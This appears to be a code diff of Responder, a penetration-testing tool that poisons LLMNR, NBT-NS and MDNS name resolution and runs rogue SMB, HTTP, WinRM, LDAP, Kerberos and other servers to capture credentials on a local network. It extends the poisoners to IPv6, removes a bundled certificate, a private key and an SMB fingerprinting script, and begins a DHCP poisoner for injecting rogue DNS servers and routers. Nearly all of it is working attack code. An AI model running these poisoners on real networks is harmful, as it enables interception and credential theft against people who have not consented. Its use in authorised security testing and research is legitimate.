options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
print(color("[!] Responder must be run as root."))
|
||||
sys.exit(-1)
|
||||
elif options.OURIP is None and IsOsX() is True:
|
||||
elif options.OURIP == None and IsOsX() == True:
|
||||
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
elif options.ProxyAuth_On_Off and options.WPAD_On_Off:
|
||||
print("\n\033[1m\033[31mYou cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.\033[0m\n")
|
||||
exit(-1)
|
||||
|
||||
settings.init()
|
||||
settings.Config.populate(options)
|
||||
|
@ -61,12 +70,11 @@ StartupMessage()
|
|||
|
||||
settings.Config.ExpandIPRanges()
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||
|
||||
#Create the DB, before we start Responder.
|
||||
CreateResponderDb()
|
||||
|
||||
Have_IPv6 = settings.Config.IPv6
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
|
@ -76,10 +84,13 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
|||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
|
@ -92,10 +103,13 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
|||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
|
@ -108,10 +122,13 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
|||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
|
@ -119,12 +136,20 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
|||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
|
||||
MADDR6 = 'ff02::fb'
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||
|
||||
#IPV6:
|
||||
if (sys.version_info > (3, 0)):
|
||||
if Have_IPv6:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
else:
|
||||
if Have_IPv6:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
if settings.Config.Bind_To_ALL:
|
||||
|
@ -132,21 +157,28 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
|||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.252"
|
||||
MADDR = '224.0.0.252'
|
||||
MADDR6 = 'FF02:0:0:0:0:0:1:3'
|
||||
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
|
||||
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
||||
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
|
||||
|
||||
|
||||
#IPV6:
|
||||
if Have_IPv6:
|
||||
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
if settings.Config.Bind_To_ALL:
|
||||
|
@ -154,51 +186,68 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
|||
else:
|
||||
if (sys.version_info > (3, 0)):
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
else:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||
if Have_IPv6:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
|
||||
except:
|
||||
raise
|
||||
#pass
|
||||
pass
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
|
||||
ThreadingUDPServer.allow_reuse_address = 1
|
||||
if Have_IPv6:
|
||||
ThreadingUDPServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingTCPServer.allow_reuse_address = 1
|
||||
if Have_IPv6:
|
||||
ThreadingTCPServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||
if Have_IPv6:
|
||||
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||
if Have_IPv6:
|
||||
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
|
||||
|
||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||
if Have_IPv6:
|
||||
ThreadingTCPServerAuth.address_family = socket.AF_INET6
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_NBTNS_poisoner(host, port, handler):
|
||||
serve_thread_udp_broadcast(host, port, handler)
|
||||
serve_thread_udp_broadcast('', port, handler)
|
||||
|
||||
def serve_MDNS_poisoner(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPMDNSServer((host, port), handler)
|
||||
server = ThreadingUDPMDNSServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_LLMNR_poisoner(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPLLMNRServer((host, port), handler)
|
||||
server = ThreadingUDPLLMNRServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
raise
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
|
||||
def serve_thread_udp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingUDPServer((host, port), handler)
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
@ -206,10 +255,10 @@ def serve_thread_udp(host, port, handler):
|
|||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
@ -217,10 +266,10 @@ def serve_thread_tcp(host, port, handler):
|
|||
def serve_thread_tcp_auth(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server = ThreadingTCPServerAuth(('', port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server = ThreadingTCPServerAuth(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
@ -230,38 +279,59 @@ def serve_thread_SSL(host, port, handler):
|
|||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert, key)
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.socket = context.wrap_socket(server.socket, server_side=True)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||
server = ThreadingTCPServer(('', port), handler)
|
||||
server.socket = context.wrap_socket(server.socket, server_side=True)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
|
||||
def main():
|
||||
try:
|
||||
if (sys.version_info < (3, 0)):
|
||||
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
|
||||
threads = []
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
from poisoners.LLMNR import LLMNR
|
||||
from poisoners.NBTNS import NBTNS
|
||||
from poisoners.MDNS import MDNS
|
||||
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
||||
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
|
||||
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
|
||||
if settings.Config.LLMNR_On_Off:
|
||||
from poisoners.LLMNR import LLMNR
|
||||
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
||||
|
||||
if settings.Config.NBTNS_On_Off:
|
||||
from poisoners.NBTNS import NBTNS
|
||||
threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,)))
|
||||
|
||||
if settings.Config.MDNS_On_Off:
|
||||
from poisoners.MDNS import MDNS
|
||||
threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,)))
|
||||
|
||||
#// Vintage Responder BOWSER module, now disabled by default.
|
||||
#// Generate to much noise & easily detectable on the network when in analyze mode.
|
||||
# Load Browser Listener
|
||||
from servers.Browser import Browser
|
||||
threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
||||
#from servers.Browser import Browser
|
||||
#threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,)))
|
||||
|
||||
if settings.Config.HTTP_On_Off:
|
||||
from servers.HTTP import HTTP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
|
||||
|
||||
if settings.Config.WinRM_On_Off:
|
||||
from servers.WinRM import WinRM
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
|
||||
|
||||
if settings.Config.WinRM_On_Off:
|
||||
from servers.WinRM import WinRM
|
||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,)))
|
||||
|
||||
if settings.Config.SSL_On_Off:
|
||||
from servers.HTTP import HTTP
|
||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
|
||||
|
@ -270,9 +340,14 @@ def main():
|
|||
from servers.RDP import RDP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3389, RDP,)))
|
||||
|
||||
if settings.Config.DCERPC_On_Off:
|
||||
from servers.RPC import RPCMap, RPCMapper
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 135, RPCMap,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, settings.Config.RPCPort, RPCMapper,)))
|
||||
|
||||
if settings.Config.WPAD_On_Off:
|
||||
from servers.HTTP_Proxy import HTTP_Proxy
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3141, HTTP_Proxy,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 3128, HTTP_Proxy,)))
|
||||
|
||||
if settings.Config.ProxyAuth_On_Off:
|
||||
from servers.Proxy_Auth import Proxy_Auth
|
||||
|
@ -288,6 +363,12 @@ def main():
|
|||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
|
||||
|
||||
if settings.Config.QUIC_On_Off:
|
||||
from servers.QUIC import start_quic_server
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
|
||||
|
||||
if settings.Config.Krb_On_Off:
|
||||
from servers.Kerberos import KerbTCP, KerbUDP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
|
||||
|
@ -309,8 +390,13 @@ def main():
|
|||
if settings.Config.LDAP_On_Off:
|
||||
from servers.LDAP import LDAP, CLDAP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
|
||||
threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 636, LDAP,)))
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
|
||||
|
||||
if settings.Config.MQTT_On_Off:
|
||||
from servers.MQTT import MQTT
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,)))
|
||||
|
||||
if settings.Config.SMTP_On_Off:
|
||||
from servers.SMTP import ESMTP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,)))
|
||||
|
@ -325,11 +411,23 @@ def main():
|
|||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
||||
|
||||
if settings.Config.SNMP_On_Off:
|
||||
from servers.SNMP import SNMP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 161, SNMP,)))
|
||||
|
||||
for thread in threads:
|
||||
thread.setDaemon(True)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||
if settings.Config.Quiet_Mode:
|
||||
print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1))
|
||||
|
||||
|
||||
if settings.Config.DHCP_On_Off:
|
||||
from poisoners.DHCP import DHCP
|
||||
DHCP(settings.Config.DHCP_DNS)
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
|
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
4
certs/gen-self-signed-cert.sh
Normal file → Executable file
|
@ -1,3 +1,3 @@
|
|||
#!/bin/bash
|
||||
openssl genrsa -out responder.key 2048
|
||||
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
|
||||
openssl genrsa -out certs/responder.key 2048
|
||||
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"
|
||||
|
|
|
@ -1,18 +0,0 @@
|
|||
-----BEGIN CERTIFICATE-----
|
||||
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
|
||||
BQAwADAeFw0xOTA4MTYyMjA2MTFaFw0yOTA4MTMyMjA2MTFaMAAwggEiMA0GCSqG
|
||||
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDVvbov/KiK+Xbv/bhGQBlgb9eVqIFDtTPd
|
||||
0ZlLNOhRuHRUbw3XC3q3gPerfSE9ANeFUKfHpSUUA5AU4hjMSBMX1iUVR+OKgzTK
|
||||
czE4kAJe1ZJpiB8TU6FBapQwOPv9M463BOQQ8lfmX+EWerT+XniMFAmxf8FS7e4/
|
||||
V7JZbon7uU18fc6H8KxVaNCEM382SpL39zU7qRNVG65Jf4MejJZEk30GMC4m22Fb
|
||||
to6f/WS1NBk4HMdLClyXZngPY0idCuCZX3KBQvYpS3e1gEBsUPV0fZBz/GnvoE4o
|
||||
qTia83QJAkjZ0r77/NAptihsXrqB2VDuR6aP5Bf/YFr/U4H9y01lAgMBAAGjUzBR
|
||||
MB0GA1UdDgQWBBTs2vL9sLFs/p78FXHfgz7Zk8ZEwTAfBgNVHSMEGDAWgBTs2vL9
|
||||
sLFs/p78FXHfgz7Zk8ZEwTAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
|
||||
A4IBAQBIYrRgmGhAQr+VmyqSQcxYWW0GWKvGQwz5t1A8AoBe8d3SDb1mb/Lq/POx
|
||||
jnF67dAifYbTzz6JWsxCFED2UP8OL3oij0dWTfvGO//6nwhVss2Or0WTdxkSQVE4
|
||||
p4CElQYjvoYYhxuDzO3HsxqHBtxMOT+8fO/07aInxVWEtvmflNo3mxE4P7w6D8g5
|
||||
v2jZNf8EjTDQOF90kjkGGhTU7j9hRewfxzBZZOvaHA+/XczJ3fARpdYrvtFvvjnH
|
||||
Da1WjQDQhSLufZYcFrzd4i6pyXQYzevjgHSeFSJt78Hr0BxMkKzLAhsFmS6fiULm
|
||||
iKqwycWcwlFFUDbwBuOyfbfwjtUf
|
||||
-----END CERTIFICATE-----
|
|
@ -1,27 +0,0 @@
|
|||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpQIBAAKCAQEA1b26L/yoivl27/24RkAZYG/XlaiBQ7Uz3dGZSzToUbh0VG8N
|
||||
1wt6t4D3q30hPQDXhVCnx6UlFAOQFOIYzEgTF9YlFUfjioM0ynMxOJACXtWSaYgf
|
||||
E1OhQWqUMDj7/TOOtwTkEPJX5l/hFnq0/l54jBQJsX/BUu3uP1eyWW6J+7lNfH3O
|
||||
h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
|
||||
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
|
||||
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
|
||||
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
|
||||
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
|
||||
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
|
||||
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
|
||||
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
|
||||
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
|
||||
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
|
||||
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
|
||||
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
|
||||
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
|
||||
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
|
||||
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
|
||||
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
|
||||
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
|
||||
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
|
||||
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
|
||||
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
|
||||
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
|
||||
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
|
||||
-----END RSA PRIVATE KEY-----
|
|
@ -1,66 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
try:
|
||||
if (sys.version_info > (3, 0)):
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
packet = NetworkRecvBufferPython2or3(data[47+length:])
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
else:
|
||||
length = struct.unpack('<H',data[43:45])[0]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
def RunSmbFinger(host):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(0.7)
|
||||
|
||||
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
|
||||
n = SMBNego(data = str(SMBNegoFingerData()))
|
||||
n.calculate()
|
||||
Packet = str(h)+str(n)
|
||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == b'\x72\x00':
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
Body = SMBSessionFingerData()
|
||||
Body.calculate()
|
||||
|
||||
Packet = str(Header)+str(Body)
|
||||
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||
data = s.recv(2048)
|
||||
|
||||
if data[8:10] == b'\x73\x16':
|
||||
return OsNameClientVersion(data)
|
||||
except:
|
||||
print(color("[!] ", 1, 1) +" Fingerprint failed")
|
||||
return None
|
9
odict.py
9
odict.py
|
@ -1,9 +1,12 @@
|
|||
import sys
|
||||
try:
|
||||
from UserDict import DictMixin
|
||||
from UserDict import DictMixin
|
||||
except ImportError:
|
||||
from collections import UserDict
|
||||
from collections import MutableMapping as DictMixin
|
||||
from collections import UserDict
|
||||
try:
|
||||
from collections import MutableMapping as DictMixin
|
||||
except ImportError:
|
||||
from collections.abc import MutableMapping as DictMixin
|
||||
|
||||
class OrderedDict(dict, DictMixin):
|
||||
|
||||
|
|
817
packets.py
817
packets.py
File diff suppressed because it is too large
Load diff
|
@ -17,44 +17,24 @@
|
|||
import sys
|
||||
if (sys.version_info < (3, 0)):
|
||||
sys.exit('This script is meant to be run with Python3')
|
||||
|
||||
import struct
|
||||
import random
|
||||
import optparse
|
||||
import configparser
|
||||
import os
|
||||
import codecs
|
||||
import netifaces
|
||||
import binascii
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
from odict import OrderedDict
|
||||
from utils import *
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
